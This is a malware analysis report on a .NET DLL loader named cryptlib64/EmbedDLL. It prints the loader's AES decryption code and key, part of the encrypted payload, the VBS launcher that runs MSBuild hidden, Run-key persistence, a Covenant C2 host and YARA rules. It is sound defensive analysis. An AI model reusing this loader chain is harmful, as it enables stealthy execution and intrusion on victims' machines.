



Practical Malware Analysis & Triage

Malware Analysis Report

cryptlib64.dll Malware

July 2024 | Diego aka (kr4dd) | v1.0



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Executive Summary


SHA256 hash	732f235784cd2a40c82847b4700fb73175221c6ae6c5f7200a3f43f209989387
-------------	--

cryptlib.dll consists of a malicious dll file whose real name is EmbedDLL.dll, its existence is previously known, consisting of a first record in VirusTotal with date 2021-10-10. This DLL is compiled with .NET for 64-bit architectures. It creates two files, where the first one a VBS file processes the content of the second file, after processing it an attempt to connect to a listener of a c2 covenant will be made.

YARA signature rules are attached in Appendix A. Malware sample and hashes have been submitted to VirusTotal for further examination.

High-Level Technical Summary

The cryptlib64 library creates two files **embed.xml** and **embed.vbs**, the content of the first one is encrypted and protected with AES, and it is only decrypted after the execution of the DLL by dumping its content in **embed.xml** which contains a payload in C# whose content is protected, on the other hand, it creates the file **embed.vbs** file whose content is specified in appendix C and allows to process and execute the **embed.xml** file, after its execution it will make a communication attempt against the URL `hxxp://srv[.]masterchiefsgruntemporium[.]local/`, which belongs to a listener of the C2 Covenant. Finally, it should be noted that the main flow of **cryptlib64** execution also establishes persistence through the windows registry of the **embed.vbs** script, in order to be able to send information to C2 in case of disconnection.





Malware Composition

cryptlib.dll consists of the following components:

File Name	SHA256 Hash
embed.xml	f1548cd02784606c8abac865abf5ed6220d34eea88c7a5715e0183d7f050f4ab
embed.vbs	66fd543f31545082cf8fcc45a6ab1094bc118c45634f2be450f84f4e5745b291

embed.xml

File containing C# code that employs a loaded reflective technique to avoid EDR detection to connect to a covenant listener (grunt).

embed.vbs:

Script in Visual Basic that allows the execution and processing of embed.xml content by calling MSBuild.exe

Basic Static Analysis

The file type we have consists of a 64-bit Windows library written in .NET.




Figure 1. Initial file identification

If we stop to analyze the strings, we can identify cryptographic operations and parameters. But apparently nothing of great value.

```

122 EmbedDLL.dll
123 mscorlib
124 Cryptor
125 EmbedDLL
126 <PrivateImplementationDetails>
127 Program
128 AES_Encrypt
129 bytesToBeEncrypted
130 passwordBytes
131 AES_Decrypt
132 bytesToBeDecrypted
133 66840DDA154E8A113C31DD0AD32F7F3A366A80E8136979D8F5A101D3D29D6F72
134 embed
135 Main
136 args
137 WrapNonExceptionThrows
138 EmbedDLL
139 Copyright
140 2021
141 $2eab5b3e-db27-4823-8690-150bb182b16b
142 1.0.0.0
143 .NETFramework,Version=v4.7.2
144 FrameworkDisplayName
145 .NET Framework 4.7.2
146 _CorDllMain
147 mscoree.dll
148 embed
149 \EmbedDLL.dll
150

```

Figure 2. Strings AES algorithm and real dll name.



```
7 InitializeArray
8 SymmetricAlgorithm
9 set_KeySize
0 set_BlockSize
1 get_KeySize
2 DeriveBytes
3 GetBytes
4 set_Key
5 get_BlockSize
6 set_IV
7 CipherMode
8 set_Mode
9 ICryptoTransform
0 CreateEncryptor
1 Stream
2 CryptoStreamMode
3 Write
4 Close
5 IDisposable
6 Dispose
7 ToArray
8 PaddingMode
9 set_Padding
0 CreateDecryptor
1 CallConvCdecl
2 SHA256
3 Create
4 System.Text
5 Encoding
6 get_UTF8
7 HashAlgorithm
8 ComputeHash
9 Convert
0 FromBase64String
```

Figure 3. Hash operations and cryptographic parameters.

Advanced Static Analysis

We will begin by reverse engineering the dll using dnSpy64, where we first identify the existence of two classes belonging to the EmbedDLL namespace, Cryptor and Program.




Figure 4. Identification of C# dll classes.

If we stop to analyze the Cryptor class, we will see that it consists of two functions, one for AES encryption and the other for AES decryption. The AES operations are performed in CBC mode, for a block size of 128 bytes, and a key size of 256 bits. Lastly, these two functions use the salt with the value { 1, 2, 3, 4, 5, 6, 7, 8 } and one thousand iterations.

In the first image we can see the encrypt method, the data to be encrypted in bytes format, and as a second parameter the bytes of the password with which it will be encrypted.

```
public static byte[] AES_Encrypt(byte[] bytesToBeEncrypted, byte[] passwordBytes)
{
    byte[] array = null;
    byte[] array2 = new byte[] { 1, 2, 3, 4, 5, 6, 7, 8 };
    using (MemoryStream memoryStream = new MemoryStream())
    {
        using (RijndaelManaged rijndaelManaged = new RijndaelManaged())
        {
            rijndaelManaged.KeySize = 256;
            rijndaelManaged.BlockSize = 128;
            Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(passwordBytes, array2, 1000);
            rijndaelManaged.Key = rfc2898DeriveBytes.GetBytes(rijndaelManaged.KeySize / 8);
            rijndaelManaged.IV = rfc2898DeriveBytes.GetBytes(rijndaelManaged.BlockSize / 8);
            rijndaelManaged.Mode = CipherMode.CBC;
            using (CryptoStream cryptoStream = new CryptoStream(memoryStream, rijndaelManaged.CreateEncryptor(), CryptoStreamMode.Write))
            {
                cryptoStream.Write(bytesToBeEncrypted, 0, bytesToBeEncrypted.Length);
                cryptoStream.Close();
            }
            array = memoryStream.ToArray();
        }
    }
    return array;
}
```

Figure 5. Crypto class AES_Encrypt method.



The second image shows the decrypt function, which receives two parameters, the bytes of the data to decrypt and a second parameter which would be the password in bytes.

```
// Token: 0x06000002 RID: 2 RVA: 0x00002160 File Offset: 0x00000560
public static byte[] AES_Decrypt(byte[] bytesToBeDecrypted, byte[] passwordBytes)
{
    byte[] array = null;
    byte[] array2 = new byte[] { 1, 2, 3, 4, 5, 6, 7, 8 };
    using (MemoryStream memoryStream = new MemoryStream())
    {
        using (RijndaelManaged rijndaelManaged = new RijndaelManaged())
        {
            rijndaelManaged.KeySize = 256;
            rijndaelManaged.BlockSize = 128;
            Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(passwordBytes, array2, 1000);
            rijndaelManaged.Key = rfc2898DeriveBytes.GetBytes(rijndaelManaged.KeySize / 8);
            rijndaelManaged.IV = rfc2898DeriveBytes.GetBytes(rijndaelManaged.BlockSize / 8);
            rijndaelManaged.Mode = CipherMode.CBC;
            rijndaelManaged.Padding = PaddingMode.PKCS7;
            using (CryptoStream cryptoStream = new CryptoStream(memoryStream, rijndaelManaged.CreateDecryptor(), CryptoStreamMode.Write))
            {
                cryptoStream.Write(bytesToBeDecrypted, 0, bytesToBeDecrypted.Length);
                cryptoStream.Close();
            }
            array = memoryStream.ToArray();
        }
    }
    return array;
}
```

Figure 6. Crypto class AES_Decrypt method.

If we analyze the Program class, we see an array variable that is initialized with the hash 256 of the string “p0w3r0verwh3lm1ng!”, followed by a variable “text” containing a value that consists of decoding the contents of the base64 file, which apparently if decoded does not return anything of interest.

```
// Token: 0x06000004 RID: 4
internal class Program
{
    // Token: 0x06000004 RID: 4 RVA: 0x00002268 File Offset: 0x00000668
    private static void embed()
    {
        byte[] array = SHA256.Create().ComputeHash(Encoding.UTF8.GetBytes("p0w3r0verwh3lm1ng!"));
        string text = new StreamReader(new MemoryStream(Cryptor.AES_Decrypt(convert.FromBase64String("pxQRI8YJc6jVr3x45Y+ti/tT8W
+3HpcQhbcw1yZJ09golhoTt2TTRIbFkDsFdmrLwIkLux2Tcs42qW15vEWaGE7NywrmongjRarizl08J8eAd7JbR3zzqM5KbX5Vz6lqi51p3G0RGviA59gz1s6GcJ5wwIPCSHK5s1
M3QpGIm8Xxl933jHVf52LOfTEb91BR6md7bIoG2xbZIZ7kC2nbXlmcHGT49NhP6muTxFLSTERKP2y5d5k0RuBW/
xunGBZY9kcvYtLYmzPtius491SjU5nKHyxg8VvR8Vkynd71yf/0Scwz9zKDC9gvuHYvvp7nGQmXdtqxqEC6kvLB1XmyXqh94TJ0TRVdLvkrM7GdGQjuuew/CZoUCHabZqXnW/
igNangpSQtnjB4WUqunJk30uvgozz/dbPQFY1Kc+pwR6H/
nS07tk13jZ0BbuFkwFYAMHDh820J0CXlqW0HjGGZ00fQkUZDX6qQeMYnQqPen0oJKS08IMtI15wvc0SaMNUiBomhxEqARdk7f5W01rksrNEL0Yj6HaSq7yI1GzK6Niotjbv/uaL
+UnreB+f3JlyQ1eRL79NOH0RagTY/rBE/gXI+ZgSbSwz05jGdtUBjabGDj1zQuFKfycg2G3u5yqWuHAIraXadE13w1UoM5MHutDY6uk2xFXD5k29uL8S2RmdvD+XL/
oA0AnKI6iBXkkMNDdxbf82ccis7mFF0bzLw95/wmwj50FZ00c/4ZgP1M/80kg9m1JIngWk25f6iTX9p

```

Figure 7. Program class has a hashed word and a strange base64 content.

After this, you can see that it tries to write to the user's public path an embed.xml file containing the value of the variable “text”.

```
+yisxt7thZH+auY303xzkJDAZv9lCR20l3gz017Erv2aGkwm4UXwLH8R"), array))).ReadToEnd();
File.WriteAllText(Environment.GetEnvironmentVariable("public") + "\\embed.xml", text);
```




Indicators of Compromise

The full list of IOCs can be found in the Appendices.

Network Indicators




Fig 11: DNS query to C2 domain



No.	Time	Source	Destination	Protocol	Length	Info
4	0.001239	192.168.129.3	192.168.129.4	HTTP	316	GET /en-us/test.html HTTP/1.1
7	0.018304	192.168.129.4	192.168.129.3	HTTP	312	HTTP/1.1 200 OK (text/html)
17	0.375912	192.168.129.3	192.168.129.4	HTTP	1090	POST /en-us/docs.html HTTP/1.1
20	0.386067	192.168.129.4	192.168.129.3	HTTP	312	HTTP/1.1 200 OK (text/html)

Frame 4: 316 bytes on wire (2528 bits), 316 bytes captured (2528 bits) on interface \Device\N
Ethernet II, Src: VMware_d2:63:23 (00:0c:29:d2:63:23), Dst: VMware_bc:93:55 (00:0c:29:bc:93:55)
Internet Protocol Version 4, Src: 192.168.129.3, Dst: 192.168.129.4
Transmission Control Protocol, Src Port: 49698, Dst Port: 80, Seq: 1, Ack: 1, Len: 262

Hypertext Transfer Protocol

- GET /en-us/test.html HTTP/1.1\r\n
- User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.0.0\r\n
- Host: srv.masterchiefsgruntemporium.local\r\n
- Cookie: ASPSESSIONID=; SESSIONID=1552332971750\r\n
- Connection: Keep-Alive\r\n

[Full request URI: http://srv.masterchiefsgruntemporium.local/en-us/test.html]
[HTTP request 1/1]
[Response in frame: 7]

0000 00 0c 29 bc 93 55 00 0c 29 d2 63 23 08 00
0010 01 2e 47 6b 40 00 80 06 00 00 c0 a8 81 03
0020 81 04 c2 22 00 50 95 18 81 11 6a 29 a3 f5
0030 20 14 84 79 00 00 47 45 54 20 2f 65 6e 2c
0040 2f 74 65 73 74 2e 68 74 6d 6c 20 48 54 54
0050 31 2e 31 0d 0a 55 73 65 72 2d 41 67 65 6e
0060 20 4d 6f 7a 69 6c 6c 61 2f 35 2e 30 20 28
0070 6e 64 6f 77 73 20 4e 54 20 36 2e 31 29 20
0080 70 6c 65 57 65 62 4b 69 74 2f 35 33 37 2e
0090 20 28 4b 48 54 4d 4c 2c 20 6c 69 6b 65 20
00a0 63 6b 6f 29 20 43 68 72 6f 6d 65 2f 34 31
00b0 2e 32 32 32 38 2e 30 20 53 61 66 61 72 69
00c0 33 37 2e 33 36 0d 0a 48 6f 73 74 3a 20 73
00d0 2e 6d 61 73 74 65 72 63 68 69 65 66 73 67
00e0 6e 74 65 6d 70 6f 72 69 75 6d 2e 6c 6f 63
00f0 0d 0a 43 6f 6f 6b 69 65 3a 20 41 53 50 53
0100 53 49 4f 4e 49 44 3d 3b 20 53 45 53 53 49
0110 49 44 3d 31 35 35 32 33 33 32 39 37 31 37
0120 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20
0130 65 70 2d 41 6c 69 76 65 0d 0a 0d 0a

Fig 12: GET petition to C2 domain



```
17 0.375912 192.168.129.3 192.168.129.4 HTTP 1090 POST /en-us/docs.html HTTP/1.1
18 0.386067 192.168.129.4 192.168.129.3 HTTP 312 HTTP/1.1 200 OK (text/html)

Frame 17: 1090 bytes on wire (8720 bits), 1090 bytes captured (8720 bits) on interface \Device\NPF...
Ethernet II, Src: VMware_d2:63:23 (00:0c:29:d2:63:23), Dst: VMware_bc:93:55 (00:0c:29:bc:93:55)
Internet Protocol Version 4, Src: 192.168.129.3, Dst: 192.168.129.4
Transmission Control Protocol, Src Port: 49699, Dst Port: 80, Seq: 294, Ack: 1, Len: 1036
[2 Reassembled TCP Segments (1329 bytes): #13(293), #17(1036)]
Hypertext Transfer Protocol
  POST /en-us/docs.html HTTP/1.1\r\n
  User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2268.94\r\n
  Host: srv.masterchiefsgruntemporium.local\r\n
  Cookie: ASPSESSIONID=8e12ca2ac7; SESSIONID=1552332971750\r\n
  Content-Length: 1036\r\n
  Expect: 100-continue\r\n
  \r\n
  [Full request URI: http://srv.masterchiefsgruntemporium.local/en-us/docs.html]
  [HTTP request 1/1]
  [Response in frame: 20]
  File Data: 1036 bytes
  Data (1036 bytes)
    Data [truncated]: 693d613139656132333036326462393930333836613361343738636238396435326521
    [Length: 1036]
```

Fig 13: POST petition to C2 domain

Host-based Indicators

embed.vbs file in “C:\Users\Public\Documents”.




Fig 14: Calls MSBuild.exe which executes the embed.xml file, all from VBS.

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embed.xml file in "C:\Users Public".




Fig 15: File that contains malicious C# code embedded in a CDATA




Fig 16: Persistence technique of the embed.vbs file



Rules & Signatures

A full set of YARA rules is included in Appendix A.



Appendices

A. Yara Rules

```
rule cryptlib_dll {
    meta:
        last_updated = "2024-07-25"
        author = "Diego aka (kr4dd)"
        description = "Detection of cryptlib.dll"

    strings:
        $PE_magic_byte = "MZ" //Magic Byte
        $string1 = "p0w3r0verwh3lming!" ascii wide
        $string2 = "C:\\Users\\Public\\Documents\\embed.vbs" ascii wide
        $string3 = "U2V0IG9TaGVsbCA9IENyZWZU9iamVjdCAoIldzY3pcHQuU2hlgWIKSAKRGLtIHN0ckFyZ3MKc3RyQXJncyA9ICJ0D0lxXaW5kb3dzXE1pY3Jvc29mdC50RVRCnJhbWV3b3JrXHY0L"
        $string4 = "Software\\Microsoft\\Windows\\CurrentVersion\\Run" ascii wide

        $bytes1 = { 01 02 03 04 05 06 07 08 } // salt
        $bytes2 = { 72 69 6A 6E 64 61 65 6C 4D 61 6E 61 67 65 64 } // ASCII for "RijndaelManaged"
        $bytes3 = { 52 66 63 32 38 39 38 44 65 72 69 76 65 42 79 74 65 73 } // ASCII for "Rfc2898DeriveBytes"

    condition:
        $PE_magic_byte at 0 and
        any of ($string*) and
        any of ($bytes*)
}
```

```
rule cryptlib_dll_embedvbs {
    meta:
        last_updated = "2024-07-25"
        author = "Diego aka (kr4dd)"
        description = "Detection of the embed.vbs file created by cryptlib.dll"

    strings:
        $str1 = "Set oShell = CreateObject (\"Wscript.Shell\")" nocase
        $str2 = "Dim strArgs" nocase
        $str3 = "strArgs = \"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MSBuild.exe C:\\Users\\Public\\embed.xml\"" nocase
        $str4 = "oShell.Run strArgs, 0, false" nocase

    condition:
        all of them
}
```

```
rule cryptlib_dll_embedxml {
    meta:
        last_updated = "2024-07-25"
        author = "Diego aka (kr4dd)"
        description = "Detection of the embed.xml file created by cryptlib.dll"

    strings:
        $memStream = "new System.IO.MemoryStream()" ascii wide
        $deflateStream = "new System.IO.Compression.DeflateStream" ascii wide
        $base64String = "System.Convert.FromBase64String" ascii wide

        //"System.Reflection.Assembly.Load" ascii wide
        $assemblyLoad = { 53 79 73 74 65 6D 2E 52 65 66 6C 65 63 74 69 6F 6E 2E 41 73 73 65 6D 62 6C 79 2E 4C 6F 61 64 28 }

    condition:
        all of ($memStream, $deflateStream, $base64String, $assemblyLoad)
}
```

B. Callback URLs

Domain	Port
hxxp://srv[.]masterchiefsgruntemporium[.]local/	80

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C. VBS Code MSBuild.exe

“text2” variable base64 content.

```
Set oShell = CreateObject ("Wscript.Shell")
Dim strArgs
strArgs = "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
C:\Users\Public\embed.xml"
oShell.Run strArgs, 0, false
```

Fig X: Process and execute the file “C:\Users\Public\embed.xml”.